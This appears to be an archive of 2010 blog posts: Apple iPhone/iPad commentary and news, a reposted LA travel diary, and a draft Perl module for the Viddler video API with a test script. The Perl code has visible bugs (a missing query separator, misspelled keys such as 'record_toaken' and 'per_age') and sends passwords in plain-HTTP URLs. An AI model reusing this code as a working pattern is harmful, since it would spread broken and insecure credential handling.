Now, it just so happens that Xcode, the software development kit for the iPhone, is the exact same development kit Apple provides to Mac developers. Objective-C the exact same language. Cocoa Touch, a variation of the Cocoa framework for the Mac.

All these new iPhone developers have everything they need to develop for the Mac.

Apple isn't looking to lock in these iPhone developers, instead Apple is looking to open up the number of Apple developers out in the wild, be it iPhone, iPad, iPod or Mac.

See, a few years ago, when the iPod was growing in popularity, there was a lot of talk about the "halo effect." The idea that consumers, who for whatever reason had ignored Apple and the Mac, but now wanted an iPod, would in turn take a second look at Apple when looking for their next computer purchase.

By all accounts the halo effect is real. While the PC industry has been in the dumps during the recent recession, Apple has sold record numbers of Macs.

But the Mac still doesn't command the market to demand individual developer's attention. The iPhone, however does.

By getting developers to use only Apple's software development kit for the iPhone, Apple gets a chance to say "See how easy that was to develop for the iPhone? Now just imagine what you could do for the Mac! You already have everything you need to write a killer Mac application. Go on, we dare you!"

The only other option, developing a web application, still works overall in Apple's favor. Since the framework for Safari on the iPhone, Webkit, is the same that drives the Safari web browser on the Mac.

In other words, Apple is looking to grab the attention of developers, who for whatever reason had ignored Apple and the Mac, but now want to develop for the iPhone/iPad/iPod, and in turn might take a second look at the Mac when looking at their next software project.

Self-Publishing and Apple's iPad

2010-04-03T14:39:55Z

First published: 2th of April 2010 for Technorati

Since before Steve Jobs revealed the existence of the iPad to the general public, there were rumors about a tablet-like device from Apple that would revolutionize the print and newspaper businesses just as the iPod did to the music industry.

Sure enough, back in January, Apple was joined by a number of high profile book publishers, including HarperCollins, Penguin, Simon & Schuster, Macmillan and Hachette Book Group with the announcement of iBooks, an iPad specific app for reading books. Jobs demonstrated the application, which features a virtual bookshelf containing the user's personal collection of books noting "If you've used iTunes or the App Store, you're already familiar with this."

But what about self-publishers and bloggers?

Consider that in the iPod world, many indie artist are on near equal footing with major record labels. In fact, Apple even provides an "Indie Spotlight" section in the iTunes Music Store, which only features music from independent artists.

Or that the iPod prompted the term "podcasting" which, while not specifically meaning to broadcast via iTunes to individual iPods, is most certainly enhanced by the existence of the two and a simple way for many beginning self-broadcasters to get noticed.

So then what does the iPad provide for those who focus on symbols instead of sounds?

Smashwords, a site that enables authors to publish their own eBooks, recently notified its authors via email that it has signed a distribution deal with Apple which allows writers to offer their works for sale to iPad owners.

Smashwords already publishes eBooks for independent authors in nine formats and can distribute to a number of sites including Barnes & Noble and Kobo. So inking a publishing deal with Apple certainly makes sense and no doubt signals the beginning of numerous other independent and self-publishing services targeting the iPad's iBookstore.

Meanwhile, for bloggers and readers of various news feeds, Glasshouse Apps has developed what the Next Web is calling a "Gorgeous iPad RSS Reader." The app, called The Early Edition, arranges stories on the screen just like newspaper, but allows the user to customize which news sources to pull from and where to place individual stories.

These two early entries provide an interesting glimpse into what may indeed be not just the revolution of the print and distribution business, but an evolution of the writer as well.

What do you think? Will the iPad be a boon to independent and mainstream alike?

24 Hours in LA LA Land

2010-03-22T19:08:37Z

Preface
Ten years ago, while I was living in the San Francisco Bay Area, I was invited to talk with a class of students at the University of Southern California about self-publishing online. After the little road trip I naturally wrote and posted a short travel story about it entitled 24 Hours in LA LA Land.

Looking back I would be hard pressed to say the following is revolutionary or fascinating. But I am reposting it, with some minor edits, because it represents the beginning of a change. Prior to this point a lot of my personal time floated around the idea of webzines - something akin to fanzines, but web-based - and the webzine community built around the conferences in San Francisco.

But of course now a days more self-publishing revolves around blogging. The content of blogs of course focuses not on a particular cultural phenomenon, but on commentary, descriptions of events or broad interests, be it personal, professional or both. That of course is exactly what the following is, in a nutshell.

For the full original experience, check out the image of the original page, in all of its "my first pure-CSS page glory." Granted the page layout doesn't translate perfectly to today's larger resolution screens, which is why the content looks to be so left-justified. But I think even today one gets the intent I was experimenting with design-wise; posting both my original story as well as Josh's side-by-side for a more complete picture of the excursion.

Speaking of whom, since the link to Josh's blog has long since died and I have since lost contact with him, I offer this bio of him courtesy of Wikipedia.

Oh and if your wondering why the photos look a bit grainy and overexposed, (more photos in the 24 Hours in LA LA Land photoset on Flickr) that would be because I took them with the first digital camera I owned, an Epson PhotoPC 500.

24 Hours in LA LA Land
Josh Fouts who's the Managing Editor of Online Journalism Review asked on the Zinesters mailing list if anyone would be interested in talking to his class at USC about what they do for/about/with their webzines.

So, I told Josh I would be interested in coming down (it was a nice reason to drive to LA for a day trip) and kept the idea in the back of my mind. Sometime went by and I thought about what I'd do. I figured I'd make arrangements to see Uncle Mike while I was in town and then just cruise the city since it's been over ten years since I first (and last) was in L.A. As it turned out Mom had to be in Santa Barbra for business and so we made her flight arrangements such that she'd have a few hours stop at LAX.

So, I made arrangements to rent a car for two days, took the days off work and drove down to LA. First thing I did was drive to LAX where I of course couldn't find parking and tracked down Mom in the American Airlines terminal. I was running later then I had planned and had convinced myself that I was only going to be able to say Hi before she had to fly out on a prop-plane to actually do some work. But, I was mistaken on when her second flight was and we talked for a bit and had lunch. It wasn't much since I just seen her over the weekend in Chicago. She hadn't had a chance to call Uncle Mike and since I had a few hours till I had to be at USC, she gave me his number. After she left I gave him a call, but got his machine to which I just left a short message and my cell number in case he had some free time. Then I drove about LA looking for all those great LA places. Found Hollywood right away (I was amazed I still knew where abouts in LA it was located at) and cruised Hollywood and Sunset Blvds as well as spending some money at a Virgin Atlantic shop.

After my little cruise of LA I went back to the USC campus (I had driven by it after leaving the airport just so I knew where it was) and ditched the car in a parking lot. I was giving my little chat at the Annenberg School for Communication building (having wandered the campus I do have to say it would have been neater to be able to say I gave my talk in the George Lucas Instructional Building or at the Johnny Carson Television Stage instead.) Since I was an hour early Josh and I walked over to a cafeteria and talked a little bit (This was the first time we had talked in person and since I really didn't have any planned remarks the chat became a little interview session and hence Josh need some background if to know where to take the discussion.) This almost made us late for the class and we quickly ran on back so he could start the class. Since his class is a three hour evening class (oh, how I hated my three hour classes in college) He had the class session divided in two. The first hour an a half or so was Patrick teaching the class on Cascading Style Sheets and then it was Josh and I talking about my experiences working on my personal site, things I do for C2Net Software as well as some of the comments and work I've done in relation to webzine.

Afterward Josh and I went out to eat a late dinner and chat some more. Then it was on to his home where I crashed for the night. The next morning, I cleaned up, kept from checking my email (I had checked it the night before and knew I'd drag myself into a crap load of work before I got a chance to get home and really focus on work.) So off I went. I stopped by Universal City and Burbank to look around. Then it was up US-101 and homeward bound. When Highway-1 started I picked that up and found Vandenberg Air Force Base which has a rich aerospace history. I almost stopped, but I wasn't sure if they had a Visitor's Center and I planned on getting into San Fran. around 5pm to at least return the rent-a-car.

About 100 mile south of Monterrey Hwy-1 was closed which was a pain since I wanted to checkout the area. So I had to double-back to US-101. I didn't get back home till about 9pm, to late to return the car, and a lot later then I had planned. But none the less and fine time indeed.

Josh's Email
I'm teaching a Web "design" class at USC this semester and I'd like to dedicate a section to Webzines. I'm having plenty of for profit representatives come and talk about what and how they do their do, but I'd really like to have some people come and talk about the nether side of the Web -- the side that, for me at least, makes the Web enjoyable. And, hell, I'd like to encourage these students to *not* look at the Web as a get rich alternative.

Anyway, I'm looking for someone (or ones) to come and do what we did at Webzine, basically, just talk about why you do that thang you do.

Cheers,

Josh

Journey into the Surreal. (aka Yes, this IS LA! aka, WE LOVE IT!)
Josh's comments

Last night Paul saved my ass from a mob of angry graduate students. Talk about generous. He drove all the way down from SF, (well, Oakland actually) to come to the class and talk about Zines, conflict-of-interest issues and life as a database engineer. As it happened, it was one of the most interesting classes yet -- at least for me. (I have to say, I still feel more interested in the guests than the students are. But, maybe that's just me.) Anyway, the students asked more questions than normal, which was great. And, they asked interesting questions.

I took him out for dinner for his efforts. Tried to get into the local watering hole in Marina Del Rey called, "Rock" -- although Rock hardly counts as a hole because its pretty fucking nice. But I know the owners and they always greet us like old friends. And you gotta dig that feeling of being known in a fru-fru establishment like that.

Well, Rock was closed -- nothing in LA is open after 10, which I always find pretty insane -- and so we ended up at Jerry's Deli, across the street. I'm not a huge fan of Jerry's, the food there can leave me with that toxic feeling. But, anyway, we headed on over. My interest was piqued because, heck, this was one of, say, three 24 hour food joints in LA.

Once inside the experience verged on the kind of clichéd, straight-out-of LAStoriesSwimmingwithSharks/ ValleyGirlClueless/ DebbiedoesHollywood kind of scene. Right off we see three women chock-full of silicone in designer "vintage" clothing. Love that expensive used chic look. Freaks me out. Then a battery of men in black with dark sunglasses. The image was made all the more delicious by the fact that they looked remarkably like Neil from The Young Ones. Except, if he had gotten rich or something -- which he probably did not get from his days as a teevee celebrity.

Anyway, it was such a rich tapestry of people and it was all at around midnight on a freaking Wednesday night. I knew then and there that I was having, what "they" call an LA moment. Gotta love this place. Thanks to Paul for making it all possible.

May I offer you some silicone with that pie?

Viddler API via Perl

2010-03-13T18:56:01Z

Recently, while doing some consulting work, I started working with an new online video platform called Viddler. Much like YouTube, Viddler is a web application, built around videos, that allows one to upload and share on the web.

However, unlike YouTube, Viddler also provides a great deal of features for customization, from the skinning of the video player to the integration of the Viddler platform into customized web applications. The obvious advantage here for a business or organization is the ability to provide video content wrapped within their own branding or application without the expense of building and managing the huge computing infrastructure required for bandwidth and data storage.

For example, checkout the MIT Tech TV, a video-sharing site for the MIT community built using Viddler.

Alas, while there is plenty of support for the Viddler Application Programming Interface via PHP, which is what my consulting work is based in, the support for Perl is quite anemic.

To help rectify this dire situation, in my free time over the last week or so, I've been working on an Perl module that wraps around Viddler's API. The goal here is not only to provide a basic how-to, but a quick method for integrating Perl-based applications with Viddler. As such, I plan on having something more formal to submit, not only to Viddler's Project Directory, but to CPAN as well, in the near future.

With that in mind, here's the basic layout with a few implemented methods for guidance and testing:

package Viddler;

use strict;
use warnings;

use LWP::Simple;
use XML::Simple;

our $VERSION = "0.01";

### To Do
#
# Complete support of all API methods
# Add SSL option for methods such as users_auth
# Validation/Error Handling of parameters/results 
#
#### 

=head1 NAME

Viddler - An encapsulation of the Viddler video platform in Perl

=head1 SYNOPSIS

use Viddler;
my $videos = new Viddler( apiKey => $apiKey, 
			  username => $username,
			  password => $passwd,
			);

print "API Version: " .$videos->api_getInfo(). "\n";

=head1 DESCRIPTION

This is an object-oriented library which focuses on pro diving Perl 
specific methods for accessing the Viddler video service via their 
API, as documented at: 
http://developers.viddler.com/documentation/api/

=head2 Methods

=head3 new

my $video = Viddler->new( apikey => $key, 
			  username => $username, 
			  password => $passwd );

Instantiates an object which established the basic connection to 
the API, including requesting and setting session id.

=cut

# The constructor of an object is called new() by convention.  
   
sub new {

	my ( $class, %args ) = @_;
	my $new = bless {
		_apiURL => 'http://api.viddler.com/rest/v1/',
		_sessionID => undef,
		_record_token => undef,
		%args
	}, $class;

	# Get a sessionid
	$new->users_auth;

	return $new;

}

=head3 users_auth

Gets and sets a sessionid for an authenticated Viddler account.
Returned sessionid is valid for 5 minutes (may change in the
future). Every method request which contains valid sessionid,
renews its validity time.

$video->users_auth;

No required parameters. Will use username and password defined
at object's creation

Additional options parameters include: 

* get_record_token: If set to response will also include
recordToken

Returns 0 ( false ) if unsucessful and 1 ( true ) if sucessful

=cut

sub users_auth {

	my ( $self, $get_record_token ) = @_;

	my $xml = new XML::Simple;
	my $content = get $self->{_apiURL}. 
		"?method=viddler.users.auth&api_key="
		.$self->{apiKey}. "&user=" .$self->{username}. 
		"&password=" .$self->{password}. 
		"get_record_token=" .$get_record_token;
	my $results = $xml->XMLin( $content );
	$self->{_sessionID} = $results->{'sessionid'};
	
	if ( defined $results->{'get_record_token'} ) {

		$self->{_recordToken} = $results->{'record_toaken'};

	}

	if ( defined ( $self->{_sessionID} )) {

		return 1;

	} else {

		return 0;

	}

}

=head3 api_getInfo

Gets and returns the current version of the Viddler API.

$video->api_getInfo;

Returns current API version as a string

=cut

sub api_getInfo {

	my ( $self ) = @_;

	my $xml = new XML::Simple;
	my $content = get $self->{_apiURL}. 
		"?method=viddler.api.getInfo&api_key=" 
		.$self->{apiKey};
	my $results = $xml->XMLin( $content );
	return $results->{'version'};

}

=head3 videos_search

Gets and returns results of a search of Viddler videos and people.

$video->videos_search( $type, $query, $page, $per_page );

Requires the following parameters:

* type: The type of search (e.g. "myvideos", 
"friendsvideos", "allvideos", "relevant", "recent", "popular",
 "timedtags", "globaltags". (The "timedtags" and "globetags"
sorting argument should be used in conjunction with an actual 
tag being given for the query argument.))

* query: What to search for (e.g. "iPhone", "Pennsylvania", or 
"Windows XP")

Additional options parameters include: 

* page: The "page number" of results to retrieve (e.g. 1, 2, 3).

* per_page: The number of results to retrieve per page (maximum 
100). If not specified, the default value equals 20.

Returns a hash of an array of search results

=cut

sub videos_search( $$ ) {

	my ( $self, $type, $query, $page, $per_page ) = @_;

	my $xml = new XML::Simple;
	my $content = get $self->{_apiURL}. 
		"?method=viddler.videos.search&api_key=" 
		.$self->{apiKey}. "&type=" .$type. 
		"&query=" .$query. "&page=" .$page. 
		"&per_age=" .$per_page. "&sessionid=" 
		.$self->{_sessionID};
	my $results = $xml->XMLin( $content );
	return $results;

}

=head3 videos_getByUser

Gets and returns a lists of all videos that were uploaded by the 
specified user.

$video->videos_getByUser( $user, page, $per_page, $tags, $sort );

Requires the following parameters:

* user: The chosen Viddler user name. You can provide multiple 
coma separated viddler usernames

Additional options parameters include: 

* page: The of results to retrieve (e.g. 1, 2, 3).

* per_page: The number of results to retrieve per page (maximum 
100). If not specified, the default value equals 20.

* tags: The tags you would like to filter your query by.

* sort: How you would like to sort your query (views-asc, 
views-desc, uploaded-asc, uploaded-desc)

Returns a hash of an array of search results

=cut

sub videos_getByUser( $ ) {

	my ( $self, $user, $per_page, $page, $tags, $sort ) = @_;

	my $xml = new XML::Simple;
	my $content = get $self->{_apiURL}. 
		"?method=viddler.videos.getByUser&api_key=" 
		.$self->{apiKey}. "&sessionid=" 
		.$self->{_sessionID}. "&user=" .$user. 
		"&page=" .$page. "&per_age=" .$per_page. 
		"&tags=" .$tags. "&sort=" .$sort;
	my $results = $xml->XMLin( $content );
	return $results;

}

=head1 AUTHOR

Paul Weinstein pdw [at] weinstein [dot] org

=cut

1;
__END__

And here's a little code to test the demo package:

#!/usr/bin/perl -T

use strict;
use warnings;

use Data::Dumper;
use Viddler;

my $videos = new Viddler( apiKey => '1234567890abcdefghij', 
			  username => 'username',
			  password => 'password',
			);

print "API Version: " .$videos->api_getInfo(). "\n";

my $searchResults = $videos->videos_getByUser( "username", 
						"", "", 
						"test", "" );
print Dumper( $searchResults );

Comments, suggestions or corrections are quite welcomed.

Apple iPad Preorders Begin

2010-03-13T00:21:11Z

First published: 12th of March 2010 for Technorati

As announced last week Apple has begun taking pre-orders from United States customers for its upcoming Wi-Fi and Wi-Fi + 3G model iPad.

Customers are being limited to pre-ordering no more than two devices, but Apple is including free delivery where possible.

The Wi-FI only model is due to beginning arriving in homes and stores on April 3rd while the Wi-Fi with 3G model iPad won't beginning shipping until sometime later in the month. Both the Wi-Fi and 3G models will be also become available in the U.K., Canada, France, Germany, Australia, Italy, Japan, Span and Switzerland late April.

The iPad starts at $499 for the 16GB model with Wi-Fi. Two additional Wi-Fi models are available with greater memory, $599 for 32GB and $699 for 64GB.

While the iPad will initially release with a updated version of what is known as the iPhone OS, AppleInsider is reporting that Apple is working on a major summer update that will introduce a multitasking solution of the mobile multitouch platform.

Citing sources "with a proven track record in predicting Apple's technological advances" they report that development is in full swing, but that "the iPhone Software 4.0 remains under development and reportedly has a quite 'way to go' before it's ready for prime time."

AppleInsider then goes on to speculate on some the issues Apple will need to address, including security, user experience, battery life and other optimize resource conservation issues before the feature is released.

It is unclear if the given summer time-frame is from the reliable source or AppleInsider speculation. None the less, Apple annually holds its World Wide Developer Conference during the summer, and the past two years of the conference have brought refreshes of the iPhone OS.

Meanwhile, not to be left behind, Microsoft made news this past week in regards to their own tablet-based computing initiatives. Engadget last week, shorty after Apple announced the iPad's April 3rd availability, broke with news from its "extremely trusted source" that Microsoft's Courier will be a folding 10x14 "digital journal" that is built on the Tegra 2 mobile processor and will run the same OS as the Zune HD, Pink, and Windows Mobile 7 Series smartphones.

But while the iPad is the could-be hit of the summer, one will have to wait until fall or winter for the Courier.

No matter what, it seems that in some form or another the must-have-gadget of 2010 is going to be a tablet.

iPad Sales Set to Start April 3

2010-03-06T02:13:14Z

First published: 5th of March 2010 for Technorati

Today Apple has announced that their recently introduced iPad tablet will be available for purchase starting Saturday April 3.

While this initial release will only include the Wi-Fi model in the Unites States, Apple is planning to have the Wi-Fi and Wi-Fi with 3G models available in the U.S., Australia, Canada, France, Germany, Italy, Japan, Spain, Switzerland, and the UK by late April.

In addition to the products' availability in April, Apple will begin allowing customers in the U.S. to pre-order either model from Apple's online stores starting March 12.

Introduced in January, Apple announced to the world its evolution of the widely successful and innovative iPhone. The iPad weighs 1.5 pounds, has a 9.7-inch color display and a custom built dual CPU and graphics chip. The 16GB model, without a 3G radio but with Wi-Fi, will cost $499, and 32GB and 64GB models, also sans 3G, are priced $599 and $699, respectively. Models with 3G radios will cost an extra $130.

While this latest announcement has finally set a firm date for the product's release, it is still to be seen how successful the initial release of the iPad will be. Recent rumors have suggested that Apple has run into manufacturing issues that could limit the number of first available iPads to some 250,000 devices.

While some issues should be expected with bringing a new device to market, the reliability of these rumors, which vary the severity of the issues being dealt with, cast some doubt on a smooth and orderly rollout for Apple's new mobile computing device.

However, one thing is certain: no matter how many initial units will be made available for purchase on April 3, one can expect long lines of individuals camping out in front of their favorite Apple store the last week of March and every weekend in April.